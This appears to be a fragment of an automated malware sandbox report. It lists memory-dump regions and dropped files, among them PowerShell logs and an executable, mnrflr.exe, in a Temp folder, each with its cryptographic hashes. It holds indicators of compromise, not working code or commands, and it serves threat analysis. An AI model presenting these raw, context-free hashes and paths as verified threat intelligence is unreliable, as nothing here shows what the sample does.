memory/4828-165-0x0000000007AF0000-0x0000000007B0A000-memory.dmp

memory/456-167-0x0000000006CD0000-0x0000000006D46000-memory.dmp

memory/1984-166-0x0000000006DB0000-0x0000000006DBA000-memory.dmp

memory/456-168-0x0000000006C70000-0x0000000006C8E000-memory.dmp

memory/4828-169-0x0000000007D70000-0x0000000007E06000-memory.dmp

memory/4708-170-0x0000000000000000-mapping.dmp

memory/2236-171-0x0000000000000000-mapping.dmp

memory/1984-172-0x0000000006F80000-0x0000000006F8E000-memory.dmp

memory/4828-173-0x0000000007E30000-0x0000000007E4A000-memory.dmp

memory/1984-174-0x0000000006FC0000-0x0000000006FC8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 714af411a9d3bfdfc0678dc327ba2efd
SHA1 235b3c9ac6b3c5d5b67281614d3b4d13ada9a69b
SHA256 a8e948b989b50f39428fee6c4472041238df559da32dc5df6dfacd3693bdeb97
SHA512 5d455a8a7c18e837ea1e0d25e6a3d55427e1366e548cedf5662fc15c79246446186761002b710a75fe649b15bb4e0cbc61c3b9a1e7aff5fd3fee1b78521b2987

memory/2236-177-0x00000000066D0000-0x00000000066F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\mnrflr.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

memory/5060-179-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\mnrflr.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 aa1f4cb989bfa8041d41c92787b7c954
SHA1 888cc664aecdfaa56baf5543524c7dfd803e472a
SHA256 f74e7f8f3c33ea4f66b7ddb069a559b6a04cffaf0ef76ab8230f44b3d5d9fe61
SHA512 6c4bdfcac64d4dad964c0d098407f1bea7bba8a099229c70bf0914c2c2651f3d56a34e1e4f30b58efc50e90a424fa55fd64251bd7de6af5002292367cd860494

memory/4008-182-0x000001E833E70000-0x000001E833E92000-memory.dmp

memory/4008-183-0x00007FFA79A00000-0x00007FFA7A4C1000-memory.dmp

memory/4008-184-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

memory/4008-185-0x00007FFA97410000-0x00007FFA974CE000-memory.dmp

memory/5040-187-0x0000000140003954-mapping.dmp

memory/5040-188-0x0000000140000000-0x000000014004B000-memory.dmp

memory/5040-186-0x0000000140000000-0x000000014004B000-memory.dmp

memory/5040-189-0x0000000140000000-0x000000014004B000-memory.dmp

memory/5040-191-0x00007FFA97410000-0x00007FFA974CE000-memory.dmp

memory/5040-190-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

memory/4008-192-0x00007FFA79A00000-0x00007FFA7A4C1000-memory.dmp

memory/4008-194-0x00007FFA97410000-0x00007FFA974CE000-memory.dmp

memory/4008-193-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

memory/60-195-0x00007FFA58010000-0x00007FFA58020000-memory.dmp

memory/616-196-0x00007FFA58010000-0x00007FFA58020000-memory.dmp